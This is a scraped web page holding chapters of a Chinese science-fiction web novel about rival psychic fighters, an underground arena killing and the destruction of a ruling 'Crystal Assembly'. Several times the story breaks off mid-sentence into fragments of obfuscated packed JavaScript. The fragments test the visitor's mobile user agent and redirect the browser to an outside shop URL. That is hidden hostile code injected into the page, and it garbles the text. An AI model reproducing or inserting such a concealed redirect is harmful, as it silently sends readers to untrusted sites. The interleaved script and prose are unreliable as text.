‘若我甘心死去……是否愿意多看我一眼?’ 对这时的她来说,这注定是个无法回答的问题。 * 等段心慈再次醒来时,迁跃舰航线已然行驶过半。 此时恰逢Z区莫克贝尔星系群中心的黄昏时分,人造恒星缓缓坠落至迁移型星舰环的另一面。 徒留下一片被恒星余辉晕染成蓝橙雾霭的瑰丽星云。 Z区莫克贝尔星系群的迁移型星舰环是目前整个联邦除了首都星系群外最大的星舰环。 当初晶体集会六代会长的【目之乡】计划实行非常成功,其中迁移型星舰环的作用占据首功。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509245|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 它将宇宙中无数大大小小的星球用航线隧道和不断向外扩建的舰体平台紧密相连在同一平面。从远处看,就像是一座座由桥梁连接悬浮在真空永夜中的城市。 等飞船再靠近‘圆盘’一些,就能一览整座星舰环的全貌。 从远处看就像是精密运作的机械表机芯,永远不会停下自身的工作。镶嵌其中的钻石是大大小小,形状不一的星球。 秩序严谨,不容差错。 站在占据整面墙体的落地舷窗前,段心慈凝望着眼前这片墨蓝与橙红交相辉映的星空。 她突然想到,这支【长生】是从自己的墓室里找到的。 长发青年的神情瞬间变得微妙起来。 ‘所以,这确实是自己的陪葬品吗?’ 身边光幕放映的新闻里,年轻播报员清晰又富有节奏感的声音适时响起: 【据悉,晶体集会高层人员兼联邦科研院副院长,斯格威尔教授因违反星际人类人权法,其名下多颗人体试验星球曝光。】 【同时犯下盗掘古文化遗址、私人墓葬等多项罪名。数罪并罚,判处枪决。现已实行。】 【该案件目前已进入收尾阶段。】 【在此由衷感谢热心公民,谢女士!为本案件的侦查进度提供了价值不菲的线索。】 【晶体集会全体兼联邦委员会在此特别表彰。】 教授被押上行刑台枪决的模糊镜头一闪而过,对谢挽非的大篇幅表彰紧随其后。 重点说明谢挽非三好公民的身份以及晶体集会赠与谢挽非的70万星金币巨额财富作为嘉奖。 最后以华而不实的‘晶体集会以及人类联邦委员会在首都星永远欢迎您。’作为通报的结尾。 直播结束,场上无人注意到,谢挽非袖口中飞镖隐约折出的一道金芒。 段心慈没有错过那抹异常。 不过在她的认知里谢挽非毕竟出自Z区。身上没有武器才应该担忧人是不是被集会或联邦威胁出面。 “Z区随便派个人去黑市代理警局自首的钱都比这来得多。” “不过很有趣不是吗。”精神世界内的半身接话道。 “恶名远扬的Z区,地位仅次于段氏集团的谢家居然走出去一个正派人物。” “她近些日子有意在打探玄色猎豹精神力幻形的消息。” 段心慈目光低垂,单手撑在沙发靠背上。 青年看着眼前光幕上谢挽非的身影沉吟片刻:“倒是比她的兄长谢挽风更加果断。” ‘也更……’ ‘不择手段。’ 一周前在晶体集会三代会长墓室暗道里,段心慈曾与谢挽非交手。 彼时她正在截杀「教授」。 于是等谢挽非真正找到「教授」时,只能在墓道转角的潮湿地面上发现一滩勉强可以称之为碎肉的东西。 「教授」的气管还暴露在空气中,发出诡异而徒劳的喘息。 ‘居然还活着!’ 血腥的场面,谢挽非见得并不少甚至算得上家常便饭。但面对那滩碎肉,她目光凝重的同时难免反胃。 墓室里浓郁的血腥味刺激着神经,恍惚间谢挽非做出一个决定—— ‘找到那个藏匿在暗处的人!’ 然而就在她跟随浓郁的血气即将抓住对方飘摇的腰带时,漆黑的豹尾向她横扫而来—— 毛发根根分明,甚至能随着气流的动向随风而动。 分明是已经脱离虚影的范畴,达成真正凝出实体的境界! 谢挽非一时间想过许多—— ‘除开我和「教授」还有谁会出现晶体集会会长的坟墓?对方将「教授」折磨成这幅样子,到底和【长生】有没有关系?’ ‘而且,为什么又是三代会长和四代会长的墓室?’ 要知道晶体集会的六任会长,所在墓室地点各不相同。 据谢挽非所知: 初代在本源星上拥有衣冠冢,骨灰同二代在远航舰同棺合葬;三代与四代也同样葬在远航舰上,只不过同墓不同棺;五代会长被六代亲自选址,葬在第一个【目之乡】计划成功的星球上。 而六代会长,是唯一没有墓室的。他死后尸骨遵循其生前立下的遗嘱,葬入星海。 总而言之,这几位会长葬得乱七八糟的。根本不可能出现跑错墓室的情况。 也就在她思考时愣神的一刹,墓道中漆黑的豹尾带着猛烈地罡风横扫而过。 此时此刻还想唤回自己的精神力幻形已经太迟。 金鳞蟒的身躯从蛇尾三分之一处断裂,仿佛被拦腰一棍生生砸烂。 不幸中的万幸,她当时撤退得不算太晚。 精神力幻形没有彻底死亡,虽然和彻底死亡只差了薄薄一层皮肉黏连。 ‘活着总比死的好。’ 谢挽非心中有些侥幸:‘就算我是谢家二少主,二次觉醒也很麻烦的…’ 不过,经此一战她也由此确认对方的身份。 ‘……也算是‘主角’与‘反派’之间的别样纽带。’ 少年抿住逸出血腥的唇瓣,眼底划过一抹阴翳 那次墓道之战恰逢对方没有追击的想法,她才侥幸得以逃脱。 ‘我还是太弱…’ 21岁的段心慈是个再标准不过的精神病,比她小上两岁的谢挽非也不遑多让。 几乎是在下一秒,她就出现在Z区莫克贝尔中心的地下竞技场内。 “我要报名参赛。” 谢挽非敲敲竞技场主持面前的工位台。 靠在摇椅上昏昏欲睡的主持翻身瞄了她一眼,发现不是熟客后两眼一闭:“自己去自助台。” 谢挽非:“……” 18. 决断 [Z区] [莫克贝尔中心-地下竞技场] 这片灯红酒绿霓虹闪烁的地下世界充斥着黑暗,狂躁,血腥和绝望的气息。 强者如鱼得水,弱者苟延残喘。不过是Z区无数潜藏规则中最广为人知的一条。 “你!有本事就放马过来——来啊!” 粗犷的声音充满力量,愤怒里流露出一丝难以察觉的畏惧。 正派人物谢挽非正在和不爱遵守比赛规则的非正派选手同台竞技。 她报名参加的是自由搏击类1v1竞赛。 该比赛中途不能使用精神力幻形或任何武器。直到另一方死亡或自主认输。 规则栏板生怕怕观众和参赛者看不清,特意让员工用明黄亮红的双色油漆笔将一行原本就十分醒目的字体涂得更加亮眼: [小刀片不行!歼星炮更不行!!!] 只能说,规则有自己的道理。 谢挽非这次的对手是名身高目测超过一米九的肌肉壮汉,名叫约翰。 至于‘约翰’这种在街上喊一声至少十个人回头的名字究竟是不是他的真名,不得而知。 这位拳击手曾经蝉联过三届1v1拳击冠军。 从冠军赛事彻底退出后他经常时不时来竞技场靠欺压菜鸟赚些外快,用来还清赌博欠下的债务。 约翰本以为今天也会和平常一样,虐虐菜鸟然后轻松到账一笔巨款。还清债务的同时还能再过几把赌瘾。 却不曾想碰上了谢挽非。 一位以狠辣的比赛风格以及神鬼莫测的招式闻名地下竞技场的新起之秀。 约翰对谢挽非的强悍能力有所耳闻,但他并没有放在心上。 在约翰看来不过是一个初出茅庐的自然人,又是女孩子,还是未成年…… 还穿着甜美风格的蕾丝花边裙。 虽然约翰自己也爱穿,但是—— 谢挽风到底在搞什么?让自己未成年的妹妹出来打拳击赛? 还是谢氏当真已经落魄到这个地步? 约翰完全不认为谢挽非能有什么真本事。 尽管谢挽非上身布料勾勒出她的八块腹肌,身材匀称但腿部肌肉线条分明,清晰可见地拥有强大力量…… 就在和谢挽非开打的后一秒,约翰额头上的冷汗瞬间‘唰’地淌下。 接连几招过去,发现自己在力量和技巧上都无法胜过眼前的对手—— 这位智械人干脆掏出藏在喉咙里的短刀,为自己争取活命的机会。 谢挽非眼底闪过一丝烦躁。 她最讨厌这些对自身实力认知不清,喜欢上台给自己找麻烦的垃圾。 不知道的还以为这里是擂台拆了改建的杂耍台。 她很清楚:上了擂台比赛一旦开始,台下的解说主持根本不会在乎规则。 只要不是真的掏出来一架歼星炮,其余小打小闹造成的意外事故反而让他们乐见其成。 毕竟这种地方,鲜血就代表了收益。而死亡则代表,收益翻倍。 余光扫过台下,圆眼睛的主持果然正颇为期待得眯着眼注视他们,半点没有叫停的意思。 正派选手:“……” 谢挽非璀璨的浅粉眼瞳中,淌着毒的蛇影嘶鸣着,在金色瞳孔中一闪而过。 ‘既然无人愿意尊重这份同台竞技的短暂情谊——’ ‘那我,也不必墨守成规!’ 霎时间,鳞片摩擦而产生的令人毛骨悚然的涔涔声在擂台上炸开。 目测长度不小于十五米的金鳞蟒蛇凭空出现在擂台上,蛇瞳中央闪烁着摄人心魄的金芒。 尽管只是精神力幻形的虚影,已经足够逼真。 而一个人的精神力幻形越逼真,就说明他的精神力更加强悍。二者成正比,精神力幻形有可能是任何事物。 目前整个联邦里公开SWP值最高的是一位双S阶联邦上将,精神力幻形是一条鳄鱼。 联邦曾多次发表图文和视频夸赞那条鳄鱼是如何的栩栩如生,结实残暴。 但…望着自己远胜鳄鱼的精神力幻形,忆起段心慈的猎豹。 谢挽非看向肌肉壮汉的眼神更加狠辣。 正好拿眼前的垃圾试试手:前天成功晋级SSS+阶的精神力幻形,到底比从前强上几分? 肌肉大汉没有想到谢挽非会当中放出精神力幻形参赛。 巨大的蟒蛇将约翰逼至擂台角落,眼见毒液摇摇欲坠地挂在寒芒闪烁的獠牙尖端—— 他在极度畏惧中终于口不择言:“你知不知道放精神力幻形参赛是违规的!” “你这是罔顾规则!” “哈!我没听错吧?你在和我谈规则?” 谢挽非眼里是明晃晃的嘲讽。 约翰感受到自己手中还紧握的短刀,被谢挽非毫不掩饰的情绪刺痛。 想要活命的念头依旧占据上风。 他试图放出自己的鬣犬精神力幻形稍作抵抗,却被蟒蛇的一对獠牙轻易洞穿了身体。 鬣犬幻形瞬间崩溃、消散。 约翰的脸此刻已经惨白一片。 要知道自己的精神力并不低,上周刚检测出A+。检测台周围多的是人用艳羡的目光看他。 能够瞬杀A+精神力幻形,对面之人的精神力等阶至少是… 约翰意识到这点后顿时身体一软瘫坐在地上,连再次站起来的力气也没有。 “我讨厌规则。” 谢挽非脸上挂着明晃晃的杀欲。 金鳞蟒的蟒首随着主人的杀意暴涨高高昂起——它俯视着猎物。 浅金色腹鳞发出‘噼里咔啦’的声音,就连粗壮的蟒蛇尾部都在兴奋地拍打着地面,威压更盛几分。 谁来也看不出那里曾有一道致命伤。 “如果你非要和我谈点什么…” 谢挽非露出堪称疯狂的笑容。 约翰在金鳞蟒的威压下匍匐在擂台地面,一动不能动。 “那就是、你运气不好。” 话音落下,金鳞蟒仿若得到了某种指示,锋利的带毒獠牙在竞技场擂台的聚光灯下闪着寒芒,径直刺下。 蟒蛇的嘶鸣盖过败者的哀嚎。 临死前,约翰漫无目的地想到:自己怎么就将一位至少SS阶的强者错当成软柿子。 偏见害人,他彻底失去活命的机会。 * 谢挽非从擂台上缓步走下。 看见逐渐靠近自己的谢挽非,主持惊恐地后退一步。 他忘记自己身后还有把滚轮转椅后退时膝弯磕在椅子座位边缘,瞬间身形不稳跌坐回椅子上。 就连眼镜也摔断了一条腿。 “贵…贵客…有话好说!有话好说!” 主持面如菜色,欲哭无泪。 发现约翰的精神力幻形被秒杀时他就知道大事不妙。 早知道!对方是SS阶……在发现约翰违规的时候就会立刻上场喊停比赛。 就算收益差些又如何? 谢挽非又有背景,自身实力也不弱。无论从哪方面看都是值得交好的对象。 SS阶强者,不是一个A-的主持可以冒犯的啊! ‘现在好了,呵呵。’‘ ‘让自己猪油蒙心,不仅与谢家交好的可能失之交臂——’ ‘得罪了SS阶,就算对方放过我,竞技场的幕后老板也不会放过…’ 主持有些绝望。 他至始至终都没敢往更高级别的方向去想—— 若是知道谢挽非是3S阶,恐怕主持早已一蹶不振地自主申请离职,离开这个再呆下去一定会让他不得善终的地方。 “打钱。” 谢挽非看着对方磨磨蹭蹭的样子有些不悦,甜美的脸上杀意一闪而过。 “啊…?什么钱!?” 主持吓得浑身一抖,下意识问到。 “…参赛费,以及下注赢的钱。” 少年只觉得自己今天诸事不顺。 不过…意识到这点的她反而心情有几分放松,难得好心地提醒工作人员一句。 “好,好的。” 主持的手在登记屏幕上快速操作,生怕晚了一秒就再惹得对面不悦。 “您这边登记的姓名是:无债…一身轻..?” 主持人不可置信地念出这个再假不过的登记名。 虽然登记假名属于地下竞技场的常规操作,也没有硬性规定必须登记真名。 但像眼前这位连表面功夫都懒得做的参赛者,不是没有,但实在稀少。 ‘现下还有谁不知道谢二少那张大名鼎鼎的脸?’ “没错。就是这个。” 谢挽非听见她登记的名字,心情大好。 主持挠挠头:‘S阶大佬有S阶的脑回路,不是A-可以理解的。’ ‘这很正常。’ 想到这里,主持看向谢挽非的目光更加炽热崇拜:‘要是能杀死她!血肉和惨叫一定相当……美味!!’ ‘……心有余而力不足。’ 主持的肩膀垮了下去。 ‘虽然自己很快就要失去一份工作,但和S阶对话的机会可不是谁都能有的!’ 想到这儿,主持手上的动作越发快速,不到5秒就完成了打款。 谢挽非的智能终端上传来清脆的叮咚一声: 【个人账户到账六十五万星银币,请收款人注意查收。】 【如有疑问,详情请咨询1666-S.S-MOCOLBELL//******.】 谢挽非看着账户里的十一位数余额,自顾自满意地点头。 毫不理会身后无数人崇拜或畏惧的目光,少年头也不回地离开地下竞技场。 走过漫长向上的暗沉楼梯,她推开竞技场那扇不甚起眼但设计精妙、古朴的街道大门,抬起头深吸一口室外的新鲜空气。 竞技场的血腥与喧嚣被彻底隔绝在门扉之后,蔚蓝的晴朗天空倒映在那双辉煌璀璨的眼瞳中。 “钱是攒够了,接下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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15岁零七个月大时,凭借优秀口才正面说服其养兄,谢氏集团家主谢挽风在水杯里塞上一大把青蛙卵,导致谢氏集团股东大会进行时,谢挽风…当众呕吐青蛙,紧急送往医院; 随后谢挽非四处宣传这是她养兄即将进阶为SS阶的征兆,公司股东听信传言,不再对谢挽风进行逼迫; 谢氏集团收到科研院人造蛙卵代言费高达11.3亿星金币……? 两个月后谢挽非突发奇想,在一条无人经过的学院小巷中套了德里安的麻袋,险些将其殴打致死,后来愣是在ICU里躺了半年仍旧损失一颗左肾。 帕拉氏一家几乎将Z区翻了个底朝天也没能抓到凶手。 段心慈目光微顿,轻笑一声。青年继续翻动网页—— 16岁,热衷于强身健体,极限运动。哪里有可以赚钱的极限运动,哪里就有谢挽非的鼎鼎大名,擅长近战,搏击。但枪法有失准头,曾创下10枪,枪枪脱靶的佳绩; 17岁参加学院越级挑战,拿到了2A+2F-的成绩,负责谢挽非的任课教师深知再练习三年她的枪法和道德也不会有丝毫长进,于是宣布她正式从Z区戮战学院毕业; 18岁时,在一次极限跳伞运动中无意间跃入著名星际罪犯斯格威尔教授名下的一间人体试验室,恰逢斯格威尔本人在场,场面格外混乱。 用降落伞把斯格威尔包裹,扔进试验室废弃药品专用垃圾桶后,谢挽非成功逃离现场; 19岁零2个月时,多次探望被她亲自送入联邦监狱的斯格威尔教授,言辞之伪善,神情之悲悯令人咂舌。 而就在这个星期,谢挽非不知为何突然光临中心区的地下竞技场。 就在10分钟前,她刚刚杀死一名不遵守规则的同台竞技选手。 …种种事迹不谈,谢挽非的确是一位优秀、善良、正派的好姑娘。 段心慈腹诽:‘……SWP至少是3S阶。’ 大概是SWP等阶越高,精神状态越是难以言喻。这点几乎是这片宇宙中所有人类的共识。 SS阶往上登记在册的,全人类不会超过50人,每一个都是出了名的难搞。 但由于等级过高,只要不犯下勾结外族的罪行,无论是晶体集会亦或是联邦都会对这些人的行为睁一只眼闭一只眼,甚至不惜花费代价招揽。 ''……12岁之前和12岁之后,无论是行为模式还是精神状态都判若两人。'' 段心慈将屏幕上的资料重新上划至12岁之前,目光落在一行字上:‘11岁,由于同班同学在生物解剖课上,根据教程杀死了一只人造兔子,谢挽非指责同学性情冷血……’ ‘随后不仅放生了自己的人造兔子,并且以课程血腥为由,将生物老师举报至Z区教育局。’ “……” 看着这短短几行字,段心慈陷入沉默:‘同一个灵魂真的能够发生这样大的改变?’ 九年时间,这片宇宙足以发生太多变化。 是时候做出最后的决断。 19. 黄昏 Z区-莫克贝尔中心区-至高王座 抬头注视着眼前的万米大厦,段心慈尽力忽视那个十分狂妄的名称。 她当初放权让林洛和江灯几人一同决定,四人商讨一番敲定至高王座这个名字,说是尽管结局已定但仍要在该高调的时候高调。 美名其曰:吸引火力。 9年过去,青年恢复记忆,情商随之从0变成1却也悔之晚矣。 并不想在大庭广众之下被围观,青年撕裂空间,身形一闪直接出现在顶层会议大厅。 四人早已等在各自的座位上,看到首领出现纷纷站起身。 “坐。” 段心慈的声音冷冽如刀,带着破开一切的决绝。 “是!BOSS。”几人并不拖泥带水,纷纷坐下。 服从那个人的命令已经成为习惯。 “按照原计划,……至高王座以及猎途座。” 段心慈心中毫无可惜地宣布:“于次日零时零分。” “准时对外宣布解体。” 早知这一日会到来,但在座的几人心中没有不舍是假的。 但他们也知道今日过后人们会迎来更好的明天。 那个没有晶体集会也没有至高王座,更好的世界。 “是。” 回应段心慈的声音铿锵有力。 ‘猎途座会解散,但我们的记忆不会。’ 他们站起身。 做好万全的准备,迎接那个相较于现在而言更加正义的世界。 * 寰宇2179年21月30日 下午17时58分 阿涟塔星云-人类首都星系群 屹立两千余年辉煌不倒的晶体集会,那扇层层加密固若金汤的宏伟大门被人扛着歼星炮,一炮轰碎。 昏沉的光线从残损的门扉透过,漆黑的正殿大厅被染上一层暗沉的橙血色。 段心慈单手拎歼星炮,黄昏暮色中有如死神亲临。 与此同时她也借着微弱的光线看清殿内发生的一切—— 27位领主惊愕慌乱的表情尚未褪去,顺着他们的目光,眼前的一幕并不存在于段心慈事先预料中。 谢挽非站在正厅,黄昏如血的光线也打在她身上,衬得那往日里天真烂漫的粉金色眼瞳多了几分纯粹的恶意。 金鳞蟒上半身直立着,呈守护者的姿态伫立在她身后。 谢挽非脚边,是一具绵软化脓的尸体。无需询问,从尸体已经溃烂得不成样子的皮肤上就能得知凶手的身份。 谢挽非细致且耐心地擦拭着飞镖上的血迹。 见晶体集会的大门被暴力打穿,她抬起头,而后对上一双阴鸷充满杀意的双眼。 扬起惯用、天真的笑容,谢挽非走向段心慈所在的方向。 辉宏残损的门扉下,擦肩而过的那一刻,人造恒星恰巧从地平线坠落。 伴随最后一丝暗光消逝,室内室外皆陷入一片朦胧紫沉的黑暗中。 谢挽非并未走远,因而听见了那句不带任何情感,冷漠到令人胆寒的—— “降者不杀。” 27位领主相互对视一眼。 他们深知自身的命运早已同晶体集会紧密相连,失去权力与高位,这比杀死他们还要痛苦百倍。 一群人不约而同地从四面八方冲向段心慈,试图将来犯的敌人拿下。 ‘年少轻狂’是他们对这位无冕之王的第一印象。 然而仅在交手的一瞬,这样粗浅的定义就被这群人亲手打破。 在绝对强悍和堪称恐怖,如呼吸饮水般浑然一体的战斗技巧下,原本对自身实力志得意满的领主们就像白水豆腐,一戳就散。 尽管同为3S阶的领主有不下三位,这些平日里惯会养尊处优,毫无战斗经验的人对上段心慈这尊浴血而出的杀神仍只是螳臂当车。 22时00分,晶体集会内部最后一声惨叫消弭在空气中。 黄金铸就的殿堂中血流成河,27位领主尽数身陨。 只有集会员工抱团紧缩在各个角落里,纷纷祈祷无冕之王不要注意到自己。贝利紧咬下唇,神经紧绷。 他万万不曾想到有朝一日当初的【猎途座】首领竟真能孤身一人杀上首都星系群的晶体集会。 狼狈抹去额前的汗珠,贝利决定继续苟在柜门里。 ‘…不是害怕,我贝利只是喜欢随心而行罢了……’ 最终晶体集会30位领主中唯一存活下来的只有受到律法制裁,判处终身监禁不得假释的「灰山羊」。 或许这片星海中的人族都会记住这一天。 作为最初的星海开拓者,人族不容置喙的庇护者——曾经引领着他们踏过尸山血海的晶体集会,在那个昏暗的暮色中被彻底覆灭。 源于贪婪,源于那颗不知满足的心脏,于是亲手招致毁灭。 段心慈神情乏味,屈起单膝坐在晶体集会残垣断壁的至高处。 墨灰暗沉的眼瞳俯视这片灯火通明的繁华人间。 谢挽非被默许站在她身后,一言不发。 ‘再等等。’ 她要等一个旷世难求的机遇。 23时00分,晶体集会彻底覆灭的消息早已铺天盖地,联邦警局趁机收拢人心。 无数人相互庆贺,晶体集会为期千年的霸权统治终于结束。 热门搜索上赫然是———— #晶体集会坍台【爆】 #【猎途座】首领覆灭【晶体集会】 #段氏掌权人此行伸张大义还是公报私仇? 江灯等人接连向段心慈发起通讯,无一例外没有接通。 ‘无需告别,结局已定。时代的事就该交由时代的黎民来解决。’ ‘像我这样的‘正统’再参与下去,也太不像话了。’ 高空的风猛烈呼啸,吹开楼顶段心慈额前发丝,阴沉死寂的虹膜映不出这片繁华世间。 ‘晶体集会已然不存于世。’ ‘战争,杀戮,死亡依旧存在,并且绝不会止息。’ ‘至此循环往复,直到下一个轮回。’ ‘但此刻我的使命已然完成。’ 23时59分。 玄色发丝的青年耳畔传来如有万钧重的声音。 “我爱……” 声音如时光在腐朽的尸骨中禁锢,又像万物在死亡溃败中发出悲鸣。 那张她无比熟悉,揽镜可见的面庞——锋利,冷冽,苍白。 灵魂里一触即离的吻带着杀意与死欲,以及比杀意、死欲更强烈恒久的爱擦过她的面颊。 青年的心脏在剧烈地跳动,血液流淌全身的声音都在此刻变得清晰。 段心慈分不清,这是心脏为杀意、为死欲而搏动,又或是因为—— 爱。 她僵在原地,始终不曾踏出一步。 半截牌式吊坠不知何时挂在颈间,在夜晚绚烂灯光的照射里熠熠生辉。 24时00分。 随身光屏上,至高王座以及猎途座宣布解散的消息一瞬登顶。 甚至碾压了晶体集会覆灭的头条。 段心慈身后谢挽非双手各持六支飞镖,少女望向面前青年的眼中是一片璀璨与辉煌—— “我已如约将天命归还予祢!” “现在!该履行祢的诺言!世界!” 比那六支飞镖先一步抵达段心慈身前的,是金鳞蟒高高昂起的蛇首,金色的剧毒蛇信发出嘶嘶鸣响。 粉钻般的蛇瞳中带上不顾一切的决绝。 成年玄色猎豹不必主人亲自下达命令,自半空跃出,白森森地利齿轻而易举地纵向咬断金鳞蟒的头部。 蟒蛇冰冷的鲜血四溅。 谢挽非不曾给予重伤的精神力幻形半分目光,相较于自身目的而言,精神力幻形的重伤,即便是死亡也已然算不得什么。 段心慈目光并无聚焦,那是一种万事尘埃落定后的死寂与空洞。 避开迎面而来的飞镖,她放任身体向后坠去。跌进那座光辉陆离、鳞次栉比的繁华都市。 不曾有过一丝一毫的动容。 而就在她身后,万世中最狰狞、同时最为蔑视生命的深渊轰然伸出禁锢的锁链,誓要将她卷入无尽杀戮与噩梦中去。 视线彻底暗下的前一刻,段心慈看到金鳞蟒最后一次托举它的战斗伙伴。 半空中谢挽非毅然决然地转过腰身,手中光束枪正正对准金鳞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“备迁跃舰!现在。” 谢挽风不等管家递与他外套,骨节分明的手一把拽下挂在椅背上的大衣披在身上。 窗外大雨倾盆,雷声阵阵,他一步未有过迟疑。 “我现在就要看到那个不省心的家伙!” * 大厦顶楼 所有人都知道,那是一通永远不可能被接听的电话。 但他们还是聚在长桌边,期待着这样的不可能。直到黎明的黑暗带着和平到来。 胜似曙光,却比曙光寒凉。 江灯叹息,却没有太多的意外。 在她眼里这已经是极好的结局。段心慈没有死,晶体集会倒台……一切会在新的警院制度下慢慢修复。 只是回忆起那双眼睛,她总觉得自己…… 再一次…选择错误。 ‘真是疯了……’ 江灯揉了揉发胀的额头,忍不住在心里嘲讽自己。 ‘会长…你恨过我吗?’ 段心慈注定无法回答自己昔日的副官,这个有些犀利的问题。 赛霓·柯莱特沉默着,多年过去她已经是身高超过180的大姑娘。 这些日子太忙,她没有时间再去染发。一抹雾霭蓝在枯萎的金色里若隐若现。 ‘……段,这就是你要的结局吗?’ 她微微仰起头,不让泪水滑落。 法尔靠在墙壁上,不可否认的是他钦佩段心慈做出的取舍…… 但在更遥远记忆中那些逝去的,永远不会随着他选择的改变而改变了。 ‘至少这一次……我选择正确?’ 黑色卷发的青年站在落地窗外的茫茫夜色前。 现在林洛是警局,不,警院最高的领导者。 至高王座和【猎途座】用自身挡住枪林弹雨,为这个时代再次铺开一条通天坦途。 林洛不踌躇,不茫然。 当然现在的她也没有踌躇和茫然的资格。 ‘就像曾经的你一样,段心慈,放心去你的未来吧。’ ‘我会守护这里,培养合格的继任者,倾尽全力……直到死去。’ 沉默里三人走出这间会议室,相互拥抱,道别,随后收拾物品各奔东西。 历史是一场永不落幕的似血黄昏。我们行在这场黄昏里,同时行在这场黄昏外。 愿我们都有奔赴下一秒的勇气。 (第一卷-完) 20. 过往余晖 (君臣番外) 江灯是劳伦斯手下人人敬重的得力干将。25岁晋升到会长副官兼总指挥官的位置,至此一坐就是三十余年。 劳伦斯死后,她迎来自己这一生要效忠的第二位会长。 三代会长——段心慈。 江灯本以为对方会和二代会长一样是个能言善辩,对外锱铢必较,对内安定人心的高手。 直到15岁的女孩被带到她面前。 党争暗杀者的子弹明射向继位者后心。江灯还没来得及提醒,少年已经后撤一步避开子弹的轨迹,从身后摸出一把手枪。 抬枪、射击。 下个瞬间是子弹穿透□□的声音,暗杀者的尸体从折叠空间里掉出。 整个过程没有超过3秒。 江灯至此明白裴柯利哀·劳伦斯命她接回来的不是类似‘王位继承人’的角色,而是一台杀戮机器。 ‘怪不得。’ 江灯心脏重重一跳。 怪不得二代会长在暗格里留下象征旧王权力的手谕:一份给予她能打着‘清君侧’的名号,进行实际意义上‘清君’的手谕。 她本以为是裴柯利哀终于被暗无天日的工作逼疯(不能保证一个猝死之人在死前保持健康的精神状态)而生的产物。 按理说这种东西的存在一旦让三代会长知道,她们之间必然会产生隔阂。 江灯本想在见到段心慈后将这份手谕焚毁。 现在,江灯迟疑了。 但她知道,无论如何在段心慈没有表现出明显不受控之前,自己不能有丝毫僭越。 统治者交替频繁,在现下只有坏处,没有好处。 ‘辅佐她。’ 江灯暗暗发誓不管往后发生什么,她都务必把段心慈死死按在三代会长的座位上。 利诱不行就威逼。 再不济把段心慈的精神力废了,让她当个衣食无忧的傀儡,也好过在这样一个内忧外患的时刻出现显眼的弱点。 然而在相处三个月后,江灯发现段心慈远比自己想象中要省心得多。 虽然为人沉默寡言了些,作为统治者亲和力差了些。 但对于自己不懂的外交政策,御下之术,她完全放权给江灯。 主打一个不懂不学不逞能。 有仗就打,有刺客就反杀。 至于打打杀杀之外的事,江灯最终咽下心里劝学的话。 古往今来,这么让下属省心的统治者很少见了。她不能既要还要。 江灯坐在办公室头痛地揉了揉脑袋,看着手里递上来的第377份外交议和书怀疑自己要步劳伦斯的后尘…… 性格强势的副官本以为她能和这位三代会长一直井水不犯河水地相安无事下去。 直到…三代会长继位的第三年。 江灯单手抱着将近二十千克有余的待销毁机密文件走在白惨惨的船舱过道里,下属跟在她身后汇报工作。 托这些文件的福,她现在体格看起来比每天在战场上浴血厮杀的段心慈还要健壮。 诡异的优越感油然而生。 江灯抬手看了眼腕表:下午一点二十。 “给你十分钟择重汇报近况,余下的直接在接下来的会议上说。” 这次来汇报的下属是个年轻女人,讲话利索。深得江灯信赖。 她花了九分钟出头将近期重要事件汇报完毕。 江灯敏锐地觉察到她还有未尽之言:“还有什么事?快点说。” 她很忙,没空陪谁玩吞吞吐吐的游戏。 下午一点半开会,一直开到晚上七点。 要讨论的内容包括但不限于: 战事评估——那些异族简直就像飞蛾扑火一般,杀不尽……到底是出了什么问题。总不可能全是长生种……他们的武器研发部必须各个方面都跟上。 外交态度——强硬,一定要强硬。稍微择中一些都会给那些星际异族人类很好欺凌的错觉。 医疗……如果他们不希望一场小瘟疫毁了全人类的话就继续忽视下去吧!她还要和那些说她滥用私权流放三代会长去边境吃苦的家伙打口水仗。 ‘流放段心慈?’ ‘究竟是哪个脑袋空空的蠢货臆想出来的?’ 江灯简直快要气笑了。 假设会议侥幸在晚七点准时结束,她只有一个小时的吃饭时间。晚上八点到九点半是体能,格斗训练,所有人都要参加。 花半个小时洗漱,她就能上床睡觉了…… 那是不可能的。 她还得自学半个小时政治家必备读物。 二十二点准时入睡,二十二点三十未能入眠给自己打一针绿色安眠药。 倒头就睡。 第二天早上六点半准时起床,又是新的一天。 年轻就是好,有的是干劲。 谁敢浪费她的时间她就要和谁拼命。 下属看着脸色愈发阴沉可怖的总指挥咽了咽唾沫:“其实……是捷报。” “哦哦,捷报。” 江灯从一开始听到这两字会激动地买瓶香槟庆祝,到账户余额所剩不多只用了短短半年。现在对两个词已经麻木了。 ‘太不应该了。’ 江灯决定反思一下自己,回家路上带瓶香槟庆祝一番。 下属话到嘴边滚了两圈,还是觉得一吐为快的好:“这次!这次和之前不一样!” 江灯心底咯噔一下。 ‘段心慈出事了?’ ‘不对,如果会长出事就轮不到下属来通知我,是前线直接打过来。’ ‘所以……’ 她放松下来:“究竟出什么事了?” “这一次阵亡人数是零!总指挥!我们一个人也没死!” 下属还在喋喋不休地兴奋道:“会长也太厉害了…二代到底是怎么选的,太神奇了。有三代会长在,群众安全感调查指数直线提升了!“ 江灯脚下一顿,血液逆行的怪诞感在体内翻涌。 ‘怎么可能……’ ‘红色警报的森林虫潮……至少由5只SSS级别的虫族首领共同组织发起的袭击。’ S级虫族能轻易撕裂战斗星舰,SS级虫族能轻易抗下歼星炮的连续轰炸。它们甚至能和行星达成共鸣,编织共振网。一旦织网成功,网内一切活物尽数绞杀。 而SSS级的虫族……能轻易做到以上全部,并且只会更强……更难以预测。 